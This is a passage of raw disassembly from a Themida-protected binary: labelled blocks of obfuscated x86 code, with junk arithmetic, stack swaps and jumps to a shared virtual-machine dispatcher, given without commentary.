		mov	ebp, 4
		jmp	loc_5A374B
; ---------------------------------------------------------------------------


loc_5A25B9:				; CODE XREF: Themida_:00596695j
		and	esi, 3038128Ah
		sub	esi, 0E35C1496h
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	16C1h
		mov	[esp], ebx
		sub	dword ptr [esp], 785329A7h
		pop	ebp
		add	ebp, 785329A7h
		pop	ebx
		jmp	loc_598A9F
; ---------------------------------------------------------------------------


loc_5A25E9:				; CODE XREF: Themida_:005947D3j
		push	1EA064BCh
		pop	ebp
		jmp	loc_59A27F
; ---------------------------------------------------------------------------


loc_5A25F4:				; CODE XREF: Themida_:00593C1Dj
		pop	eax
		push	207Bh
		mov	[esp], edx
		jmp	loc_5A3342
; ---------------------------------------------------------------------------


loc_5A2602:				; CODE XREF: Themida_:005997ACj
		sub	edx, 50A223DDh
		sub	edx, 7A413F3Ah
		jmp	loc_590B34
; ---------------------------------------------------------------------------


loc_5A2613:				; CODE XREF: Themida_:00598FE7j
		add	esp, 4
		jmp	loc_5A26BE
; ---------------------------------------------------------------------------


loc_5A261E:				; CODE XREF: Themida_:005A1AEEj
		push	1465h
		mov	[esp], eax
		jmp	loc_59FF7E
; ---------------------------------------------------------------------------


loc_5A262B:				; CODE XREF: Themida_:0059BE98j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		push	eax
		jmp	loc_59F457
; ---------------------------------------------------------------------------


loc_5A263D:				; CODE XREF: Themida_:0059F233j
		pop	esi
		sub	eax, ebx
		push	794h
		mov	[esp], esi
		mov	esi, 28B05E89h
		push	ebx
		mov	ebx, 6FD91A98h
		add	eax, ebx
		pop	ebx
		add	eax, 266276E3h
		add	eax, esi
		sub	eax, 266276E3h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5FA916B8h
		not	edx
		xor	edx, 1C2810B0h
		sub	edx, 0AB620C6h
		inc	edx
		push	ecx
		mov	ecx, 41EFBE9Ah
		jmp	loc_59C901
; ---------------------------------------------------------------------------


loc_5A2687:				; CODE XREF: Themida_:0059F52Ej
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A30D6
; ---------------------------------------------------------------------------


loc_5A2696:				; CODE XREF: Themida_:00591C36j
		push	ebp
		push	5B4Bh
		jmp	loc_59E824
; ---------------------------------------------------------------------------


loc_5A26A1:				; CODE XREF: Themida_:005A2319j
		and	ecx, 3DCA0A28h
		jmp	loc_5A5258
; ---------------------------------------------------------------------------


loc_5A26AC:				; CODE XREF: Themida_:0059BA04j
		pop	ebx
		shr	esi, 2
		dec	esi
		xor	esi, 688BC4BEh
		add	edi, esi
		jmp	loc_59862B
; ---------------------------------------------------------------------------


loc_5A26BE:				; CODE XREF: Themida_:005A2619j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	0A3Ch
		jmp	loc_59DA2E
; ---------------------------------------------------------------------------


loc_5A26D8:				; CODE XREF: Themida_:0059B7B1j
		mov	edi, 7AC856CEh
		and	ebx, edi
		jmp	loc_59FB12
; ---------------------------------------------------------------------------


loc_5A26E4:				; CODE XREF: Themida_:00590CE4j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_59DB4B
; ---------------------------------------------------------------------------


loc_5A26FE:				; CODE XREF: Themida_:005A2EB7j
		mov	[esp], edx
		mov	edx, 4
		add	dword ptr [esp+4], 50C7BDCh
		add	[esp+4], edx
		push	ebx
		mov	ebx, 50C7BDCh
		jmp	loc_5A5505
; ---------------------------------------------------------------------------


loc_5A271D:				; CODE XREF: Themida_:00598EDEj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ecx
		jmp	loc_59956E
; ---------------------------------------------------------------------------


loc_5A272F:				; CODE XREF: Themida_:00598FF4j
		sub	esp, 4
		mov	[esp], ebp
		push	ebp
		mov	ebp, 7D9755BBh
		add	[esp+4], ebp
		pop	ebp
		pop	ecx
		jmp	loc_5A032C
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5924F1
; ---------------------------------------------------------------------------


loc_5A274C:				; CODE XREF: Themida_:0059FBBAj
		push	eax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A2753:				; CODE XREF: Themida_:00590E87j
		mov	ebx, [esp]
		jmp	loc_59D5BF
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A276B:				; CODE XREF: Themida_:00596A8Cj
		pop	ebx
		jmp	loc_59877B
; ---------------------------------------------------------------------------


loc_5A2771:				; CODE XREF: Themida_:005A4893j
		push	ecx
		mov	ecx, 5B23160Bh
		jmp	loc_595126
; ---------------------------------------------------------------------------


loc_5A277C:				; CODE XREF: Themida_:005A5500j
		push	ebx
		mov	ebx, 6DF06288h
		mov	edx, ebx
		pop	ebx
		push	eax
		jmp	loc_59FD82
; ---------------------------------------------------------------------------


loc_5A278B:				; CODE XREF: Themida_:0059CE03j
		push	ax
		jmp	loc_59150B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_591584
; ---------------------------------------------------------------------------


loc_5A279B:				; CODE XREF: Themida_:00592871j
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 47BB6449h
		jmp	loc_596503
; ---------------------------------------------------------------------------


loc_5A27AF:				; CODE XREF: Themida_:005A3DB5j
		push	ebp
		push	50073E4Fh
		jmp	loc_597FB2
; ---------------------------------------------------------------------------


loc_5A27BA:				; CODE XREF: Themida_:00598593j
		push	eax
		push	bx
		mov	bh, 0E1h
		mov	al, bh
		pop	bx
		dec	al
		not	al
		push	ecx
		jmp	loc_5961AD
; ---------------------------------------------------------------------------


loc_5A27CD:				; CODE XREF: Themida_:0059FFBBj
		sub	edx, ebp
		pop	ebp
		shl	edx, 7
		dec	edx
		jmp	loc_598A29
; ---------------------------------------------------------------------------


loc_5A27D9:				; CODE XREF: Themida_:0059E86Aj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A27E2:				; CODE XREF: Themida_:005A2334j
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5A25A6
; ---------------------------------------------------------------------------


loc_5A27F2:				; CODE XREF: Themida_:0059B65Ej
		mov	ebp, 4F697D8Bh
		dec	ebp
		jmp	loc_592A35
; ---------------------------------------------------------------------------


loc_5A27FD:				; CODE XREF: Themida_:005A54D9j
		mov	[esp], eax
		mov	eax, 0C275CAAh
		xor	eax, 3833064Ah
		not	eax
		sub	eax, 54443A5Bh
		sub	ebx, eax
		pop	eax
		sub	ebp, 0D517CA3h
		add	ebp, ebx
		jmp	loc_594124
; ---------------------------------------------------------------------------


loc_5A2821:				; CODE XREF: Themida_:005A2214j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_59BB42
; ---------------------------------------------------------------------------


loc_5A2835:				; CODE XREF: Themida_:00599597j
		add	al, bl
		push	567Eh
		jmp	loc_591404
; ---------------------------------------------------------------------------


loc_5A2841:				; CODE XREF: Themida_:0059722Dj
		mov	esi, 6ADF4CCDh
		sub	esi, 9AB3977h
		mov	ebx, esi
		pop	esi
		mov	ebp, ebx
		pop	ebx
		add	eax, 2F181CD2h
		jmp	loc_59C01A
; ---------------------------------------------------------------------------


loc_5A285C:				; CODE XREF: Themida_:005A3953j
		mov	ebp, 0EA23DC3h
		jmp	loc_595E4A
; ---------------------------------------------------------------------------


loc_5A2866:				; CODE XREF: Themida_:005A156Aj
		pop	ebp
		xor	ebp, ebx
		pop	ebx
		jmp	loc_5A00A3
; ---------------------------------------------------------------------------


loc_5A286F:				; CODE XREF: Themida_:0059A0BAj
		add	esi, edx
		pop	edx
		push	esi
		mov	esi, 5EBE484Ch
		sub	eax, esi
		jmp	loc_5A1FF6
; ---------------------------------------------------------------------------


loc_5A287F:				; CODE XREF: Themida_:0059E9A9j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_5A1FB3
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		jmp	loc_599068
; ---------------------------------------------------------------------------


loc_5A28A0:				; CODE XREF: Themida_:00598884j
		sub	eax, ebx
		mov	ebx, eax
		pop	eax
		sub	ebx, 11951421h
		and	[edi+1Ch], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5902C1
; ---------------------------------------------------------------------------
		push	0E49h
		jmp	loc_593E3D
; ---------------------------------------------------------------------------


loc_5A28C7:				; CODE XREF: Themida_:00596E73j
		add	esp, 4
		add	ecx, edi
		push	eax
		jmp	loc_590B69
; ---------------------------------------------------------------------------


loc_5A28D2:				; CODE XREF: Themida_:005A0B3Bj
		mov	ebp, 11B4328Ah
		jmp	loc_59C203
; ---------------------------------------------------------------------------


loc_5A28DC:				; CODE XREF: Themida_:0059891Aj
		xor	edx, 170F47F8h
		xor	edx, 0B46EA827h
		sub	ecx, edx
		pop	edx
		push	esi
		mov	esi, 757539F9h
		and	esi, 4A8C18A4h
		and	esi, 43DD250Fh
		jmp	loc_596BD3
; ---------------------------------------------------------------------------


loc_5A2902:				; CODE XREF: Themida_:0059A46Dj
		push	edx
		mov	dh, bh
		mov	ch, dh
		pop	edx
		pop	ebx
		jmp	loc_5A182B
; ---------------------------------------------------------------------------


loc_5A290E:				; CODE XREF: Themida_:005A1C10j
		push	27046ECFh
		pop	edx
		push	esi
		mov	esi, 5F1A345Ch
		shr	esi, 4
		dec	esi
		xor	esi, 6FC2A1Fh
		push	edi
		mov	edi, 4E834175h
		sub	edi, 0E60B2897h
		and	esi, edi
		pop	edi
		jmp	loc_59FCF9
; ---------------------------------------------------------------------------


loc_5A2938:				; CODE XREF: Themida_:0059EE64j
		xor	ebx, 1B70C07Bh
		jmp	loc_598492
; ---------------------------------------------------------------------------


loc_5A2943:				; CODE XREF: Themida_:0059CFA8j
		push	ebx
		jmp	loc_5A1E6D
; ---------------------------------------------------------------------------


loc_5A2949:				; CODE XREF: Themida_:005A54F4j
		sub	eax, ebx
		sub	eax, 2EEA5B7Bh
		push	esi
		mov	esi, 5B856BC7h
		add	eax, esi
		jmp	loc_598908
; ---------------------------------------------------------------------------


loc_5A295D:				; CODE XREF: Themida_:0059EFDFj
		mov	ecx, [esp]
		jmp	loc_59E4DC
; ---------------------------------------------------------------------------


loc_5A2965:				; CODE XREF: Themida_:0059864Cj
		xchg	ecx, [esp]
		pop	esp
		add	edx, ecx
		sub	edx, 5264604Dh
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5908D4
; ---------------------------------------------------------------------------


loc_5A2983:				; CODE XREF: Themida_:00593750j
		not	ecx
		push	esi
		push	ecx
		jmp	loc_59E56D
; ---------------------------------------------------------------------------


loc_5A298C:				; CODE XREF: Themida_:005A0A5Bj
		or	eax, eax
		jz	loc_598658
		push	57D0h
		mov	[esp], ebx
		push	1Ch
		pop	ebx
		sub	ebx, 5883132Dh
		sub	ebx, 497E5C44h
		add	ebx, edi
		push	edi
		jmp	loc_59B8E8
; ---------------------------------------------------------------------------


loc_5A29B6:				; CODE XREF: Themida_:00593634j
		add	esi, eax
		pop	eax
		jmp	loc_59F575
; ---------------------------------------------------------------------------


loc_5A29BE:				; CODE XREF: Themida_:005A20F1j
		mul	cl
		jmp	loc_59CEB3
; ---------------------------------------------------------------------------


loc_5A29C5:				; CODE XREF: Themida_:0059168Bj
		sub	esi, ebp
		pop	ebp
		push	119Eh
		jmp	loc_59D5CC
; ---------------------------------------------------------------------------


loc_5A29D2:				; CODE XREF: Themida_:00593C85j
		sub	eax, ebx
		jmp	loc_599B6A
; ---------------------------------------------------------------------------


loc_5A29D9:				; CODE XREF: Themida_:00599CEFj
		push	65D4h
		mov	[esp], ecx
		jmp	loc_590DBC
; ---------------------------------------------------------------------------


loc_5A29E6:				; CODE XREF: Themida_:00596606j
		xchg	eax, [esp]
		pop	esp
		push	57C8h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5965DA
; ---------------------------------------------------------------------------


loc_5A29FD:				; CODE XREF: Themida_:005A49D0j
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_598A6F
; ---------------------------------------------------------------------------


loc_5A2A0C:				; CODE XREF: Themida_:00596538j
		add	ebx, 5CEF2B5Bh
		xor	ebx, 0CEE326Dh
		add	ebx, 0E470AD84h
		jmp	loc_59CA33
; ---------------------------------------------------------------------------


loc_5A2A23:				; CODE XREF: Themida_:00590C7Aj
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 17A65D56h
		add	ebp, esi
		jmp	loc_59E53A
; ---------------------------------------------------------------------------


loc_5A2A36:				; CODE XREF: Themida_:0059C2FAj
		push	ebp
		mov	ebp, 5F762DDEh
		dec	ebp
		not	ebp
		push	esi
		jmp	loc_5A1AC5
; ---------------------------------------------------------------------------


loc_5A2A45:				; CODE XREF: Themida_:005950F8j
		imul	ecx
		push	ebx
		jmp	loc_59C726
; ---------------------------------------------------------------------------


loc_5A2A4D:				; CODE XREF: Themida_:005A3CB2j
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		push	ecx
		jmp	loc_5A2EF4
; ---------------------------------------------------------------------------


loc_5A2A59:				; CODE XREF: Themida_:005989B0j
		push	259Fh
		mov	[esp], ecx
		jmp	loc_5981A7
; ---------------------------------------------------------------------------


loc_5A2A66:				; CODE XREF: Themida_:00597AA1j
		sub	ecx, edx
		jmp	loc_59A8D1
; ---------------------------------------------------------------------------


loc_5A2A6D:				; CODE XREF: Themida_:005A2380j
		mov	edi, 6F2C4D76h
		jmp	loc_595358
; ---------------------------------------------------------------------------


loc_5A2A77:				; CODE XREF: Themida_:005A1FB8j
		mov	[esp], cx
		push	2922h
		jmp	loc_596788
; ---------------------------------------------------------------------------


loc_5A2A85:				; CODE XREF: Themida_:00590E18j
		pop	edi
		sub	bx, 64DDh
		sub	bx, cx
		add	bx, 64DDh
		push	small 20CBh
		mov	[esp], di
		push	small 373h
		pop	di
		add	bx, di
		mov	di, [esp]
		jmp	loc_59EE8B
; ---------------------------------------------------------------------------


loc_5A2AAD:				; CODE XREF: Themida_:005A1045j
		pop	edx
		push	3BF3h
		mov	[esp], edx
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59D9A7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A0CA9
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A2ADB:				; CODE XREF: Themida_:00594541j
		add	esp, 4
		push	eax
		mov	eax, 244E2F22h
		push	edx
		jmp	loc_59EB24
; ---------------------------------------------------------------------------


loc_5A2AEA:				; CODE XREF: Themida_:00595830j
		sub	bl, 0BCh
		inc	bl
		not	bl
		jmp	loc_5921B6
; ---------------------------------------------------------------------------


loc_5A2AF6:				; CODE XREF: Themida_:0059911Ej
		push	ecx
		mov	cl, bh
		mov	[eax], cl
		pop	ecx
		jmp	loc_5A4C81
; ---------------------------------------------------------------------------


loc_5A2B01:				; CODE XREF: Themida_:0059AD9Dj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59EF53
; ---------------------------------------------------------------------------


loc_5A2B0A:				; CODE XREF: Themida_:005A2C11j
		sub	esp, 4
		mov	[esp], edi
		push	6F086BEBh
		mov	edi, [esp]
		add	esp, 4
		sub	edx, edi
		jmp	loc_592330
; ---------------------------------------------------------------------------


loc_5A2B25:				; CODE XREF: Themida_:00597E9Ej
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	edi, 8D148D4Ch
		add	esi, edi
		pop	edi
		push	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 272C2800h
		sub	esi, 7481C8Fh
		push	ecx
		mov	ecx, 76AB006Bh
		or	ecx, 86E6373h
		add	ecx, 2DDF0536h
		dec	ecx
		jmp	loc_5A2D95
; ---------------------------------------------------------------------------


loc_5A2B74:				; CODE XREF: Themida_:00596701j
		mov	ecx, 4
		add	ebx, 492707D6h
		add	ebx, ecx
		sub	ebx, 492707D6h
		pop	ecx
		sub	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_59720B
; ---------------------------------------------------------------------------


loc_5A2B96:				; CODE XREF: Themida_:0059933Fj
		and	ebx, 5FC43BEBh
		sub	ebx, 19C1A4DEh
		sub	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_591871
; ---------------------------------------------------------------------------


loc_5A2BAB:				; CODE XREF: Themida_:005A337Cj
		add	edi, ebx
		sub	edi, 78494723h
		jmp	loc_59E670
; ---------------------------------------------------------------------------


loc_5A2BB8:				; CODE XREF: Themida_:00592760j
		mov	ebp, eax
		pop	eax
		neg	ebp
		inc	ebp
		jmp	loc_59E4A5
; ---------------------------------------------------------------------------


loc_5A2BC3:				; CODE XREF: Themida_:005976CFj
		sub	esi, 39B03458h
		add	esi, ebp
		add	esi, 39B03458h
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		push	edx
		jmp	loc_5924BE
; ---------------------------------------------------------------------------


loc_5A2BDE:				; CODE XREF: Themida_:005941CFj
		pop	ebx
		jmp	loc_5A4463
; ---------------------------------------------------------------------------


loc_5A2BE4:				; CODE XREF: Themida_:005A3295j
		add	[esp+8], ebx
		pop	ebx
		sub	dword ptr [esp+4], 6D89057Ah
		sub	[esp+4], edx
		add	dword ptr [esp+4], 6D89057Ah
		jmp	loc_5A0E6F
; ---------------------------------------------------------------------------


loc_5A2C02:				; CODE XREF: Themida_:0059869Fj
		mov	[esp], edx
		push	435715E5h
		pop	edx
		add	edx, 2BB15A02h
		jmp	loc_5A2B0A
; ---------------------------------------------------------------------------


loc_5A2C16:				; CODE XREF: Themida_:005A3F2Cj
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_59BAF8
; ---------------------------------------------------------------------------


loc_5A2C20:				; CODE XREF: Themida_:005A0034j
		pop	edx
		add	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4
		push	ecx
		jmp	loc_597192
; ---------------------------------------------------------------------------


loc_5A2C30:				; CODE XREF: Themida_:005A4DE3j
		shr	bh, 7
		push	ecx
		push	eax
		mov	al, 94h
		mov	cl, al
		pop	eax
		add	bh, cl
		pop	ecx
		xor	al, bh
		pop	ebx
		push	small 3259h
		mov	[esp], cx
		push	eax
		jmp	loc_594176
; ---------------------------------------------------------------------------


loc_5A2C4E:				; CODE XREF: Themida_:0059F42Fj
		mov	ebp, 234F7519h
		jmp	loc_594A86
; ---------------------------------------------------------------------------


loc_5A2C58:				; CODE XREF: Themida_:005A52ABj
		mov	esp, [esp]
		mov	edx, [esp]
		jmp	loc_5980E0
; ---------------------------------------------------------------------------


loc_5A2C63:				; CODE XREF: Themida_:0059055Aj
		add	esp, 4
		push	edx
		jmp	loc_5A1DF7
; ---------------------------------------------------------------------------


loc_5A2C6F:				; CODE XREF: Themida_:00592BE8j
		push	5A3Dh
		mov	[esp], edi
		push	45C3708Bh
		jmp	loc_59F94C
; ---------------------------------------------------------------------------


loc_5A2C81:				; CODE XREF: Themida_:0059711Bj
		dec	edx
		add	edx, 0E3ED79E5h
		jmp	loc_5A4707
; ---------------------------------------------------------------------------


loc_5A2C8D:				; CODE XREF: Themida_:005917D4j
		add	cl, 8Ah
		jmp	loc_5A37EC
; ---------------------------------------------------------------------------


loc_5A2C95:				; CODE XREF: Themida_:0059ED7Bj
		mov	eax, 4
		jmp	loc_59BEEC
; ---------------------------------------------------------------------------


loc_5A2C9F:				; CODE XREF: Themida_:0059B745j
		xor	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, 4E84640h
		add	ebx, ecx
		jmp	loc_59BA37
; ---------------------------------------------------------------------------


loc_5A2CBE:				; CODE XREF: Themida_:0059F3C3j
		add	esp, 4
		sub	ebx, 53DE44F8h
		sub	ebx, eax
		jmp	loc_59EEDA
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	63AEh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_59B704
; ---------------------------------------------------------------------------


loc_5A2CE2:				; CODE XREF: Themida_:00593CD2j
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_59BE95
; ---------------------------------------------------------------------------


loc_5A2CF1:				; CODE XREF: Themida_:005A4F83j
		sub	edx, 0FD4910D0h
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		shl	esi, 2
		neg	esi
		add	esi, 1
		sub	esi, 0F4D341F5h
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	7C70h
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A193C
; ---------------------------------------------------------------------------


loc_5A2D42:				; CODE XREF: Themida_:0059D521j
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59627E
; ---------------------------------------------------------------------------


loc_5A2D57:				; CODE XREF: Themida_:005A4EC8j
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5A3CC2
; ---------------------------------------------------------------------------


loc_5A2D71:				; CODE XREF: Themida_:0059F342j
		mov	ebx, ebp
		pop	ebp
		sub	ebp, 78BE449Dh
		jmp	loc_599CD4
; ---------------------------------------------------------------------------


loc_5A2D7F:				; CODE XREF: Themida_:00595518j
		neg	ebp
		and	ebp, 691041C3h
		shr	ebp, 3
		jmp	loc_592D1F
; ---------------------------------------------------------------------------


loc_5A2D8F:				; CODE XREF: Themida_:005987D9j
		push	edx
		jmp	loc_5961F4
; ---------------------------------------------------------------------------


loc_5A2D95:				; CODE XREF: Themida_:005A2B6Fj
		sub	ecx, 6240609Fh
		sub	esi, ecx
		pop	ecx
		xor	esi, 0D5560364h
		push	esi
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 0AD7354Dh
		add	esi, edi
		push	eax
		mov	eax, 4B260F62h
		xor	eax, 41F13A2Fh
		add	esi, eax
		pop	eax
		pop	edi
		jmp	loc_5959DD
; ---------------------------------------------------------------------------


loc_5A2DCB:				; CODE XREF: Themida_:0059583Ej
		pop	ebp
		jmp	loc_596867
; ---------------------------------------------------------------------------


loc_5A2DD1:				; CODE XREF: Themida_:005A0289j
		mov	edx, 337E2826h
		jmp	loc_591A7A
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	esi
		push	esp
		pop	esi
		push	59EFh
		mov	[esp], ecx
		push	ebp
		mov	ebp, 302C49DCh
		jmp	loc_59CCCF
; ---------------------------------------------------------------------------


loc_5A2E09:				; CODE XREF: Themida_:005A040Dj
		mov	[esp], ecx
		push	53E5h
		jmp	loc_5A08DA
; ---------------------------------------------------------------------------


loc_5A2E16:				; CODE XREF: Themida_:005A179Aj
		mov	edx, 2125670Ah
		or	ecx, edx
		jmp	loc_59EC54
; ---------------------------------------------------------------------------


loc_5A2E22:				; CODE XREF: Themida_:005A0BC1j
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	edi
		push	5FAEh
		mov	[esp], esp
		push	eax
		jmp	loc_59509D
; ---------------------------------------------------------------------------


loc_5A2E41:				; CODE XREF: Themida_:0059A82Fj
		pop	ecx
		inc	ecx
		xor	ecx, ebx
		xor	ebx, ecx
		xor	ecx, ebx
		not	ebx
		jmp	loc_59D8EF
; ---------------------------------------------------------------------------


loc_5A2E50:				; CODE XREF: Themida_:00593798j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A2E72:				; CODE XREF: Themida_:0059483Dj
		mov	esp, [esp]
		push	50B2h
		mov	[esp], edi
		mov	edi, 4
		add	ebx, 41F1060Bh
		add	ebx, edi
		sub	ebx, 41F1060Bh
		jmp	loc_591126
; ---------------------------------------------------------------------------


loc_5A2E95:				; CODE XREF: Themida_:0059D750j
		push	ecx
		jmp	loc_597B30
; ---------------------------------------------------------------------------


loc_5A2E9B:				; CODE XREF: Themida_:005A13BBj
		push	64Fh
		mov	[esp], esp
		push	esi
		push	4
		pop	esi
		add	[esp+4], esi
		pop	esi
		pop	dword ptr [esp]
		push	6135h
		jmp	loc_5A26FE
; ---------------------------------------------------------------------------


loc_5A2EBC:				; CODE XREF: Themida_:0059A305j
		mov	[esp], ebp
		jmp	loc_5A4591
; ---------------------------------------------------------------------------


loc_5A2EC4:				; CODE XREF: Themida_:0059040Fj
		push	esp
		mov	ecx, [esp]
		jmp	loc_59839B
; ---------------------------------------------------------------------------


loc_5A2ECD:				; CODE XREF: Themida_:0059209Bj
		sub	eax, 4
		jmp	loc_59D38C
; ---------------------------------------------------------------------------


loc_5A2ED5:				; CODE XREF: Themida_:00599D03j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		push	edi
		jmp	loc_5A50A9
; ---------------------------------------------------------------------------


loc_5A2EEE:				; CODE XREF: Themida_:005A42E5j
		pop	ebp
		jmp	loc_5A3C0F
; ---------------------------------------------------------------------------


loc_5A2EF4:				; CODE XREF: Themida_:005A2A54j
		mov	ecx, 5F426915h
		sub	ecx, 5F426911h
		add	eax, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_595868
; ---------------------------------------------------------------------------


loc_5A2F3B:				; CODE XREF: Themida_:005962A5j
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_59D1B8
; ---------------------------------------------------------------------------


loc_5A2F46:				; CODE XREF: Themida_:00599824j
		or	eax, ebp
		jmp	loc_592E82
; ---------------------------------------------------------------------------


loc_5A2F4D:				; CODE XREF: Themida_:00595FEBj
		xchg	eax, ecx
		sub	eax, 426C20CAh
		jmp	loc_599339
; ---------------------------------------------------------------------------


loc_5A2F58:				; CODE XREF: Themida_:00598981j
		dec	edi
		sub	edi, 60A579D8h
		add	edi, 146340E0h
		inc	edi
		add	edi, 0ADAAB8Ah
		mov	ebp, edi
		pop	edi
		xor	esi, ebp
		jmp	loc_59DCC5
; ---------------------------------------------------------------------------


loc_5A2F76:				; CODE XREF: Themida_:00595044j
		mov	[esp], ax
		not	byte ptr [esp+1]
		pop	ax
		jmp	loc_59DDC8
; ---------------------------------------------------------------------------


loc_5A2F85:				; CODE XREF: Themida_:0059247Dj
		xor	ch, dl
		jmp	loc_59A4DB
; ---------------------------------------------------------------------------


loc_5A2F8C:				; CODE XREF: Themida_:0059F845j
		add	edi, esi
		pop	esi
		push	27F0h
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5977AD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	4762h
		push	esp
		jmp	loc_5A0F51
; ---------------------------------------------------------------------------


loc_5A2FB2:				; CODE XREF: Themida_:005A3584j
		add	ebp, eax
		mov	eax, [esp]
		jmp	loc_5A37C4
; ---------------------------------------------------------------------------


loc_5A2FBC:				; CODE XREF: Themida_:00596678j
		pop	ecx
		xchg	eax, [esp]
		mov	esp, [esp]
		xchg	edi, [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A2FD2:				; CODE XREF: Themida_:00599000j
		mov	esi, [esp]
		jmp	loc_596CA7
; ---------------------------------------------------------------------------


loc_5A2FDA:				; CODE XREF: Themida_:0059AE90j
		mov	edi, 1A3AC807h
		jmp	loc_597B86
; ---------------------------------------------------------------------------


loc_5A2FE4:				; CODE XREF: Themida_:005A0282j
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		jmp	loc_59EF1A
; ---------------------------------------------------------------------------


loc_5A2FEF:				; CODE XREF: Themida_:005A2084j
		mov	[esp], ecx
		push	esi
		push	7F967F2Fh
		push	dword ptr [esp]
		jmp	loc_5A4BD7
; ---------------------------------------------------------------------------
		lodsb
		push	dx
		mov	dh, 56h
		push	ebx
		jmp	loc_59369A
; ---------------------------------------------------------------------------


loc_5A300B:				; CODE XREF: Themida_:0059CC78j
		add	bl, al
		jmp	loc_59372A
; ---------------------------------------------------------------------------


